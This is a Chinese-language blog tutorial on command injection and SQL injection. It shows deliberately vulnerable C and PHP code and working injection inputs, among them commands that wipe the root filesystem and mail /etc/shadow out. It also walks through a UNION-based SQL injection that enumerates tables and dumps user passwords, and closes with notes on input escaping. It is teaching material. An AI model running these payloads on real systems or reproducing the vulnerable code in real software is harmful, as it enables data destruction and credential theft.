fenlan

Everything gonna be fine in the end, if it's not fine, it's not the end.

0%

代码注入

c程序代码注入

c程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>

int main(int argc, char *argv[])
{
char src[100], dst[100], cmd[205] = "cp ";
printf("Please enter name of source file:");
gets(src);
strcat(cmd, src);
strcat(cmd, " ");
printf("Please enter name of destination file:");
gets(dst);
strcat(cmd, dst);
system(cmd);
return 0;
}


程序本身是要求输入一个拷贝源文件和拷贝目标文件,将源文件内容拷贝到目标文件,正常执行:

异常代码注入

同时还能干这些事情
删除根目录,你可以试试

1
cp hello world; rm -rf / --no-preserve-root

将linux系统的密码文件通过邮件发送
1
cp hello world; mail ****@****.com < /etc/shadow

SQL代码注入

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>
<title>sql 注入测试</title>
</head>
<body>
<div class="card" style="width: 20rem;">
<div class="card-body">
<form method="POST" action="index.php">
<div class="form-group">
<label class="col-form-label" for="formGroupExampleInput">SQL query</label>
<input type="text" class="form-control" name="content" id="content" placeholder="Example input">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</body>
</html>

index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>
<title>SQL 注入</title>
</head>
<body>
<?php
if ($_POST[content]) {
$db_host = "localhost";
$db_user = "my_user";
$db_password = "my_password";
$db_name = "my_db";
$content = $_POST[content];
$query = "SELECT * FROM users WHERE name = '$content'";

$conn = mysqli_connect($db_host,$db_user,$db_password,$db_name);
$result = mysqli_query($conn, $query);

var_dump();
if (mysqli_num_rows($result)) {
while ($row = mysqli_fetch_array($result)) {
echo "Your name is " . $row[1] . "</br>";

}
} else {
echo "No Found!";
}
mysqli_close($conn);
} else {
var_dump($_POST);
echo "Don't get your content!";
}
?>
</body>
</html>

表中数据

正常输入




异常输入

问题在于SELECT * FROM users WHERE name = '$content'在接收前端输入的字符串时,直接拼接查询语句,当输入为hello' OR 1=1 #时,将语句拼接完成就是SELECT * FROM users WHERE name = 'hello' OR 1=1 #',其中hello后的一个单引号将查询语句的第一个单引号关闭了,接下来就是OR语句的真子句,最后将多余的单引号注释掉,那么这个查询永远为真,查询语句就会将数据库中所有的数据都返回。

SQL注入续

low.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

$db_host = "localhost";
$db_user = "my_user";
$db_password = "my_password";
$db_name = "my_db";

$user = $_POST[ 'username' ];

$pass = $_POST[ 'password' ];
$pass = md5( $pass );

$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$conn = mysqli_connect($db_host,$db_user,$db_password,$db_name);
$result = mysqli_query($conn, $query);

if( $result && mysqli_num_rows( $result ) == 1 ) {
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
echo "<pre><br />Username and/or password incorrect.</pre>";
}

mysqli_close($conn);
?>

medium.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

$db_host = "localhost";
$db_user = "my_user";
$db_password = "my_password";
$db_name = "my_db";
$conn = mysqli_connect($db_host,$db_user,$db_password,$db_name);

$user = $_POST[ 'username' ];

$pass = $_POST[ 'password' ];
$user = mysqli_real_escape_string($conn, $user);
$pass = mysqli_real_escape_string($conn, $pass);
$pass = md5( $pass );

$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($conn, $query);

if( $result && mysqli_num_rows( $result ) == 1 ) {
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
echo "<pre><br />Username and/or password incorrect.</pre>";
}

mysqli_close($conn);
?>

sql.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>
<title>SQL 注入</title>
</head>
<body>
<?php
if ($_POST[content]) {
$db_host = "localhost";
$db_user = "my_user";
$db_password = "my_password";
$db_name = "my_db";
$content = $_POST[content];
$query = "SELECT first_name,last_name FROM users WHERE user_id = '$content'";

$conn = mysqli_connect($db_host,$db_user,$db_password,$db_name);
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result)) {
while ($row = mysqli_fetch_array($result)) {
$first = $row["first_name"];
$last = $row["last_name"];

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "No Found!";
}
mysqli_close($conn);
} else {
var_dump($_POST);
echo "Don't get your content!";
}
?>
</body>
</html>

user.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>
<style>
div{
border:1px;
width:400px;
margin:20px auto;
}
</style>
<title>sql 注入测试</title>
</head>
<body>
<div class="card">
<div class="card-body">
<h2>Login</h2>

<form action="medium.php" method="POST">
Username:<br>
<input type="text" class="form-control" name="username" placeholder="username">
Password:<br>
<input type="password" class="form-control" name="password" placeholder="password">
<br>
<button type="submit" class="btn btn-primary">Login</button>
</form>
</div>
</div>
</body>
</html>

初步注入

1
1' or '1'='1

猜测查询语句的字段数

即要对查询语句

1
SELECT first_name,last_name FROM users WHERE user_id = '$content'

中的SELECT字段进行猜测
1
2
3
1' or 1=1 order by 1 #
1' or 1=1 order by 2 #
1' or 1=1 order by 3 #

尝试到3时出现No Found说明SELECT里有两个字段数

查询刚刚猜测的字段顺序

1
1' union select 1,2 #

sql语法union是将两个集合去重合并,相当于原本返回admin,admin,现在又存在1,2,通过union后就是两行数据

获取当前数据库名

1
1' union select 1,database() #

database()是数据库系统信息函数,作用是获取当前数据库名,其他数据库信息函数有

函数 作用
version() 获取数据库的版本号
connection_id() 获取数据库的连接数
database();schema() 获取当前数据库名
user();system_user() 获取当前用户
current_user() 获取当前用户
charset(str) 获取字符串str的字符集
collation(str) 获取字符串str的字符排列方式

获取当前表名

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

mysql在创建时默认创建一个information_schema数据库,在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

information_schema数据库表说明:

  • SCHEMATA表:提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。
  • TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname的结果取之此表。
  • COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表。
  • STATISTICS表:提供了关于表索引的信息。show index from schemaname.tablename的结果取之此表。
  • USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
  • VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息
  • TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

获取当前表字段名

1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

获取所有数据

1
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

视频

php 注入

1
2
3
4
5
6
<?php
print("查看文件");
print("<p>");
$file=$_GET['filename'];
system("cat $file");
?>

与c代码注入类似,基本在于调用系统的命令来获取结果,诸如php获取系统版本、mysql版本、服务器时间、Web服务器类型等等系统信息,使用系统命令,都可能会产生注入漏洞。在本例中仍然可以在url中注入一些系统命令。

注入防范

明白注入的基本方式和原理,很容易知道,通过输入检查来预防注入。获取到输入的字符串,对字符串进行过滤、转义等操作,只不过诸如php的不同输入检查函数,不同的函数的检查方法不一样,但有可能仍然存在编写者本身没有考虑到的可能性,这就导致了漏洞不间断出现。在使用这些检查函数时,要认真查看函数的检查方法以及过滤的东西。在此举个例子:

mysqli_real_escape_string( mysqli $link , string $escapestr):

  • Parameters:
    • link: Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()
    • escapestr: The string to be escaped. Characters encoded are NUL (ASCII 0), \n, \r, \, ‘, “, and Control-Z.
  • Return Value:
    • Returns an escaped string.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!$mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
printf("Error: %s\n", $mysqli->sqlstate);
}

$city = $mysqli->real_escape_string($city);

/* this query with escaped $city will work */
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
printf("%d Row inserted.\n", $mysqli->affected_rows);
}

$mysqli->close();
?>

引用地址